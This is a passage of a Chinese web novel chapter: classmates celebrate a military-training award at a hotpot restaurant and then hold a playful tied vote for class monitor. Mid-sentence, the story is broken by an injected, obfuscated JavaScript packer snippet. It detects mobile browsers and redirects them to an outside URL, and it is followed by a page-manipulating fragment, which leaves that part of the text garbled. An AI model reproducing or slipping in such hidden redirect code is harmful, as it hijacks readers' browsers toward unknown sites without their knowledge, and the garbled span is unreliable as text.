“精彩——” 这次的回答明显没有上次的声音大,喊的最大声的还是莫杰,但晏阳丝毫没有感到尴尬,迈着轻快的小步回班。 路过林泠时他也不经意掉了把钥匙在她脚边,眼睛弯弯,看起来人畜无害,“同学帮我捡下呗~” 林泠:……都什么毛病,喜欢往她这里掉东西,难道她这个位置底下有吸铁石? “谢谢啊!”晏阳面上保持微笑,低声炫耀,“看吧,我才是一中的光。” 林泠:……这人到底在和自己比什么,他是一中的光? 林泠看了眼操场旁边竖着正在发光发热的路灯。 ……他是路灯? “好!那我们接下来再次有请舞蹈社的成员为我们带来的街舞!” 观众:…… 本来没人想着对比,但晏阳的那番极其不要脸的话一直回响在大家耳边,让人不得不对比。 动作,没有晏阳跳的标准。 力气,没有晏阳跳的使劲。 节拍,没有晏阳卡的准。 背景音乐本是选的是当下最流行的,但每个人都觉得没有晏阳潮,甚至有些……土。 晏阳的沉默还在发挥功效,台上的舞蹈社成员压力倍增,硬着头皮跟观众互动,这一互动就做错了几个动作。 观众:……这谁能忍住不对比啊! 本来舞蹈社是来招新的,结果半路杀出了晏阳这个程咬金,他们不仅没招到人,社团里刚刚表演的人甚至一下台就提出了退团。 舞蹈社社长看着两人离去时落寞的背影,又看了看晏阳正在嬉笑的脸。 他想仰头长啸:不是……我的团员? 有了晏阳这一茬,下面的舞蹈节目直接选择了弃权,晚会提前半个小时结束。 “走啊走啊!庆功宴走起!” 舒音站起来拉着林泠走,“泠泠走啊,去吃夜宵!” “什么夜宵?”林泠没看群消息不知道她们说的什么。 “哦哦!”舒音突然想起来昨天颁奖的时候林泠不在,“昨天我们军训一等奖有1000奖金,陈老师说晚会结束去聚餐,随便我们选,不够的话她来添上!” “但是,”林泠犹豫道:“我没有参加训练,不应该一起去。” “诶!”言铄大喊一声:“别这么说,要不是你帮我们降低了训练强度,我们可就被闫教官训死了,而且我们是一个班的,是team!” “对啊对啊!”李厅南也跟着喊:“大家说,是不是啊!” 林泠:李厅南怎么这么开朗了?因为上次他的任督二脉被打通了? “是啊是啊!” “一起去一起去!” 舒音挽着她的手,撒娇,“走嘛。” 林泠拗不过,“拿着我的包。” 晏阳早就被唐越架着走了,他说的那家店离得不远,一行人干脆走路去。 “哎呀!真是托了晏哥的福啊!这地方,真是气派!” 云客来采用的是新中式的装修风格,店名写的龙飞凤舞的,牌匾采用上好的红木作为基底,让“云客来”这三个字气派又不失低调。 里面分了好几层楼,四楼是专门吃火锅烧烤的,服务员挂着标准的微笑带着他们上去。 舒音和李厅南两人跟刘姥姥进大观园似的,一边走一边感慨。 “我去!这里真的好,难怪这么贵!” “还要感谢陈老师啊!” “我以为你们忘了我呢!”陈清笑了一声,“知道我的好,这三年里就给我好好学习,多给我拿些奖,好让我把这顿庆功宴的钱赚回来。” 白萧声立刻停下来,严肃地敬了个礼,“Yes,sir!” 陈清伸手假装要去打他,被他一扭从旁边的人身下钻过去,“老师你抓不住我的,我是山里灵活的狗!” “哈哈哈哈哈哈哈!” 林泠捂嘴低笑,其他人笑得快要栽倒过去,空荡的大厅里回响着鲜活生命的欢声笑语。 “你们班挺有意思啊!”唐越感慨,“搞得我都想去你们班了。” 盛泽揶揄:“没听到刚才陈老师说的话吗,进去他们班可是要拿奖的,就你这成绩,就别去拖后腿了。” “怎么说话呢!”唐越不服气,“我成绩怎么了?又不是没拿过奖,那篮球一等奖没我的功劳吗?晏哥你说说?” “诶?”唐越把头一撇,“人呢?” 晏阳正在低头发消息,不知不觉就落到了队伍的最后面。 【我们班拿了军训一等奖,现在在办庆功宴,你那里怎么样?】 发完又举起手机拍了张一群人叽叽喳喳讨论的图片。 “晏哥!你怎么到最后去了!” 唐越跑过来,晏阳把手机一收假装无事发生。 “嗯?”唐越挤眉,嗅到了一丝不寻常,“你刚刚在干嘛?我看到你拍照了。” “你谈恋爱了?在和女朋友报备?” 晏阳翻了个白眼:“一天天的脑子里都在想什么?怪不得考不上怀瑾班。” 盛泽也跟着搭腔:“就是。” “不是,你成绩很好吗?晏阳。” 唐越最见不得比自己差的人还嘲讽自己,特别是晏阳这么装的人,进了电梯按下4楼,电梯缓缓上升。 晏阳理所当然:“是啊,不然我怎么进的怀瑾班?” 唐越没理解他话的意思,“对对对!家庭也是一种底气!” 两人吵吵闹闹地上了四楼,盛泽一脸无奈,扶额走在他们后背。 不走前面主要是怕着两位大少爷一言不合地会打起来。上次篮球训练赛就是因为对策不合,不知是谁先动的手,一堆人拉都拉不开,只不过那次不是互殴,而是唐越被晏阳单方面压制。 四楼的地宽敞得很,一群人开了6个桌子,晏阳一进去,白萧声热情地喊:“晏哥晏哥快来呀!坐我们这桌!” 晏阳拉开椅子坐上去,抬眼看去,林泠正坐在他前面的桌子,橘黄色的暖光刚好照在她白皙的脸上,让那张冷淡的脸看起来都温暖了许多,玉瓷般的手指在菜单上点了几下。 白萧声突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481588|201773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然发现多了两个人,“诶?这两位兄台怎么称呼啊?” “我……”唐越刚说了一个字就被晏阳打断。 “唐越和盛泽,两个体育班的,自费来蹭饭的。” 唐越:…… 白萧声也是很给面子,“哦哦哦!原来是我们对面班的兄台啊!你们好啊你们好啊,一起吃一起吃啊!” 云客来的上菜速度很快,一盘接着一盘,桌子上琳琅满目的,火锅和烤串的热气混合着少年的稚气,将氛围推向了高潮。 林泠舒音都是能吃辣,点的是最辣的爆辣火锅。因为还未成年,所以点的是可乐雪碧和解辣的豆奶。 吃到一半,白萧声举起杯子,“同学们!大家一起干杯!祝愿我们都能度过一个快乐的高中!也祝陈老师越来越年轻漂亮!” “好!” “说得好!” 众人齐齐站起来隔着桌子干杯,陈清也笑:“好,那我们高考结束后还来这里!” “……” 这下没人说话了。 陈清知道这群小兔崽子在想什么,大手一挥:“我请客!” 此话一出顿时又沸腾了。 “好!” “陈老师大气!” 唐越喝了口可乐,“哈哈哈哈!你们班,真有意思!” 晏阳没说话,默认他的话。 可乐过三巡,大家都吃得差不多了,好几个人直接吃撑了,靠着椅子用手拍着肚子。云客来的食材肉质鲜嫩,一看就不是合成肉。连一向对荤菜不感兴趣的林泠都多吃了好些,嘴巴被辣椒刺激得一片红,像涂了口红,鼻子上出了点薄汗。 吃饱喝足的白萧声又提议:“同学们!我们还没选班干吧,就今天的表现来看,我觉得班长的职位非晏哥莫属了吧。” 晏阳也是很给面子的整理了一下衣服起身,欲拒还迎道:“感谢各位的抬爱啊,对于班长这个职位嘛,我深谙它的重要性。” 他捂住胸口,言辞恳切,“作为一班之长、同学们的向导、老师的副手,平时很多事情不免要由我来安排,虽然我确实才高八斗、学富五车、十八般武艺样样精通,加之这张帅气逼人的脸庞走出去简直是我们班的门面,但!我本人也不是很想担任的,可如果实在同学们的强力推荐的话,我也不是不可以……” “晏阳”这个关键词一出来再加上他这幅不要脸的发言直接就触及了舒音的雷达,“我觉得不对!班长应该是学习最好的人来当,我们林泠,中考状元来的!” 李厅南也跟着站起来,“对啊!” “有道理啊!” 莫杰作为晏阳的忠实拥护者,立刻回怼他们这种只看成绩取胜的。 “成绩是次等的,我们晏哥除了成绩,哪哪都有优秀,不信的话……”他扫了一眼桌子,“这里有竹签,我们就用竹签来比!” 林泠是吃饱了,但是没撑着,不想跟他们玩这种过家家的游戏,刚要拒绝舒音直接应战:“比就比,来来来,一人一根,每个人只能投一个人。” 林泠:…… 白萧声把插筷子的竹筒清空,一个桌子摆了一个,人群一下子散开,每个人都按照自己内心的想法投票。 “1.2.3……” “1.2.3.4……” “不对啊!”数完后他才发现不对劲,“我们班30个人,投票的28个,现在两人刚好打平。” “那怎么办?“白萧声看到一直在看戏的陈清,眼睛一亮,“陈老师!” 陈清摆手拒绝:“不行,两个都是我的学生,我可不能偏袒。” “啊……”白萧声头刚垂下,又看到了晏阳身边的唐越和盛泽,眼睛在一亮,“两位兄台!你们谁来投最后一票?” “不行!”舒音立马跳出来,“他们是晏阳的朋友,肯定帮他!” 唐越:“呃……” 盛泽:“……” 一直不吭声的言锐突然开口:“那你想怎么办?” 那双眼戏谑地看着跟护小鸡仔的舒音,舒音反瞪回去,“那……那就用投的!对!用投壶的方式。” 白萧声:“也……行!那两位兄台谁来?” 盛泽退后一步,把这机会让给唐越。 唐越:“……行!我来就我来!” 舒音在两个竹筒里做了记号,让唐越背对身换了好几次位置。 “好了!” 唐越转回来,手里拿着那根象征着命运的竹签,嘚瑟地看着晏阳,意思是你要不要求求我,求求我就投你。 晏阳没理他的眼神,“你的两只眼睛别打架了,省的成斗鸡眼。” 唐越愤愤收回:行!那你就别怪我了! 唐越看着一个竹筒,闭上眼屏息凝神,手往前一送的同时手指松开,竹签在空中划出一道完美的抛物线。 所有人的视线也跟着这道抛物线移。 林泠握紧拳头故作冷静:……随便吧。 晏阳面前无所谓其实心里很紧张:一定要投中我的! “进了!”